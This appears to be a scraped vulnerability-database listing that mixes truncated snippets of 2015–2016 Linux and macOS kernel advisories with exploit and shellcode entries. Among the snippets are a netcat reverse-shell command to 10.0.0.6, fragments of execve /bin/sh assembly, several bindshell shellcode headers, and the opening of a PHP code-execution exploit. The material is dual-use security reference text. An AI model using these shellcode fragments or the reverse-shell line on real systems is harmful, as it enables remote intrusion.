CentOS Update for kernel CESA-2016:1277 centos7

Check the version of kernel SPDX-FileCopyrightText: 2016 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription scriptoid"1.3.6.1.4.1.25623.1.0.882511";...

Linux Netcat Reverse Shell - 32bit - 77 bytes

Linux Netcat Reverse Shell - 32bit - 77 bytes. Shellcode exploit for linx86 platform include include //[email protected] //OffSec ID: OS-20614 / global start start: ;/bin//nc -e///bin/sh 10.0.0.6 99 xor eax,eax ; clear eax xor edx,edx ; clear edi ; 0xIN-LAST IN-FIRST push 0x3939393...

Linux x86_64 execve Shellcode - 15 bytes

Linux x8664 execve Shellcode - 15 bytes. Shellcode exploit for linx86-64 platform include include // OS-20614 // [email protected] / global start start: execve: mov rsi, rax mov rdx, rsi mov r12 , 0x68732f6e69622f push r12 push rsp pop rdi mov al, 0x3b syscall / unsigned char code ...

Oracle Linux 6 / 7 : Unbreakable Enterprise kernel (ELSA-2016-3565)

The remote Oracle Linux 6 / 7 host has packages installed that are affected by multiple vulnerabilities as referenced in the ELSA-2016-3565 advisory. - KEYS: Fix ASN.1 indefinite length object parsing This fixes CVE-2016-0758. David Howells Orabug: 23279020 CVE-2016-0758 - net: add validation for...

OracleVM 3.3 : kernel-uek (OVMSA-2016-0053)

The remote OracleVM system is missing necessary patches to address critical security updates : - KEYS: Fix ASN.1 indefinite length object parsing This fixes CVE-2016-0758. David Howells Orabug: 23279020 CVE-2016-0758 - net: add validation for the socket syscall protocol argument Hannes Frederic...

Oracle Linux 5 / 6 : Unbreakable Enterprise kernel (ELSA-2016-3566)

The remote Oracle Linux 5 / 6 host has packages installed that are affected by multiple vulnerabilities as referenced in the ELSA-2016-3566 advisory. - net: add validation for the socket syscall protocol argument Hannes Frederic Sowa Orabug: 23267976 CVE-2015-8543 CVE-2015-8543 - ipv6: addrconf:...

Linux/x86 - Bindshell with Configurable Port Shellcode (87 bytes)

/===================================================================/ / Filename: bindshell.c Author: JollyFrogs email protected License: This work is licensed under a Creative Commons Attribution-NonCommercial 4.0 International License. Compile: gcc -m32 -fno-stack-protector -z execstack...

Linux 内核通过 BPF 系统调用提权漏洞

漏洞概要 4 月 27 日有安全研究人员在 bugs.chromium.org 站点提交了本地提权高 危漏洞。 Linux 内核版本大于等于 4.4 时,当内核编译了 CONFIGBPFSYSCALL 并 且 sysctl 中的 kernel.unprivilegedbpfdisabled 没有明确设置为 1 时,无特 权的代码可以使用 bpf 系统调用加载 eBPF socket 过滤程序,从而达到系统提 权的⺫的,而前面的两个条件在最新的 Linux 发行版 Ubuntu 16.04 桌面版和 服务器版本均满足,经过测试 Kali Rolling 发行版 内核 4.4.0...

Linux Kernel 4.4.x (Ubuntu 16.04) - double-fdput() bpf(BPF_PROG_LOAD) Privilege Escalation

Linux Kernel 4.4.x Ubuntu 16.04 - double-fdput bpfBPFPROGLOAD Privilege Escalation Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=808 In Linux =4.4, when the CONFIGBPFSYSCALL config option is set and the kernel.unprivilegedbpfdisabled sysctl is not explicitly set to 1 at runtim...

Apple Mac OSX iOS - SUID Binary Logic Error Kernel Code Execution

Apple Mac OSX iOS - SUID Binary Logic Error Kernel Code Execution Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=676 tl;dr The code responsible for loading a suid-binary following a call to the execve syscall invalidates the task port after first swapping the new vmmap into the...

Race you to the kernel!

Posted by Ian Beer of Google Project Zero The OS X and iOS kernel code responsible for loading a setuid root binary invalidates the old task port after first swapping the new virtual memory map pointer into the old task object, leaving a short race window where you can manipulate the memory of an...

kernel security update

CentOS Errata and Security Advisory CESA-2016:0450 Updated kernel packages that fix two security issues and two bugs are now available for Red Hat Enterprise Linux 5. Red Hat Product Security has rated this update as having Important security impact. Common Vulnerability Scoring System CVSS base...

Fedora 23 : pax-utils-1.1.4-1.fc23 (2015-73cdd43bc0)

Changes since 1.0.5: security: whitelist the getcwd syscall security: fix build on systems w/out sisyscall security: whitelist the futex syscall security: whitelist dup syscalls security: do not warn when seccomp is disabled in the kernel security: whitelist fakeroot syscalls security: add a debu...

Fedora 22 : pax-utils-1.1.4-1.fc22 (2015-6565f29415)

Changes since 1.0.5: security: whitelist the getcwd syscall security: fix build on systems w/out sisyscall security: whitelist the futex syscall security: whitelist dup syscalls security: do not warn when seccomp is disabled in the kernel security: whitelist fakeroot syscalls security: add a debu...

Apache 2.4.7 + PHP 7.0.2 - openssl_seal() Uninitialized Memory Code Execution

Apache 2.4.7 + PHP 7.0.2 - opensslseal Uninitialized Memory Code Execution ?php // Source: http://akat1.pl/?id=1 function getmaps $fh = fopen"/proc/self/maps", "r"; $maps = fread$fh, 331337; fclose$fh; return explode"\n", $maps; function findmap$sym $addr = 0; foreachgetmaps as $record if...

McAfee Application Control Kernel Driver Memory Corruption Elevation of Privilege Vulnerability

McAfee Application Control is a centrally managed whitelisting solution. McAfee Application Control has a security vulnerability in the handling of syscall 768 within the swin.sys kernel driver, which can be exploited to execute arbitrary code in the system context by writing a "0" to any locatio...

McAfee Application Control Kernel Driver Memory Corruption Privilege Escalation Vulnerability

This vulnerability allows local attackers to execute arbitrary code on vulnerable installations of McAfee Application Control. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within...

Linux/x86 execve "/bin/sh" - shellcode 24 byte

Linux/x86 execve "/bin/sh" - shellcode 24 byte. Shellcode exploit for linx86 platform / ; Title: Linux/x86 execve "/bin/sh" - shellcode 24 byte ; Platform: linux/x86 ; Date: 2015-01-03 ; Author: Dennis 'dhn' Herrmann ; Website: https://zer0-day.pw BITS 32 global start section .text ; syscalls...

TCP Bindshell with Password Prompt - 162 bytes

TCP Bindshell with Password Prompt - 162 bytes. Shellcode exploit for linux platform /--------------------------------------------------------------------------------------------------------------------- / Title: tcp bindshell with password prompt in 162 bytes Author: Sathish kumar Contact:...

x86_64 Linux bind TCP port shellcode

x8664 Linux bind TCP port shellcode. Shellcode exploit for linx86-64 platform /--------------------------------------------------------------------------------------------------------------------- / Exploit Title: bindshell TCP Author: Scorpion Copyright: c 2016 iQube. http://iQube.io Release Dat...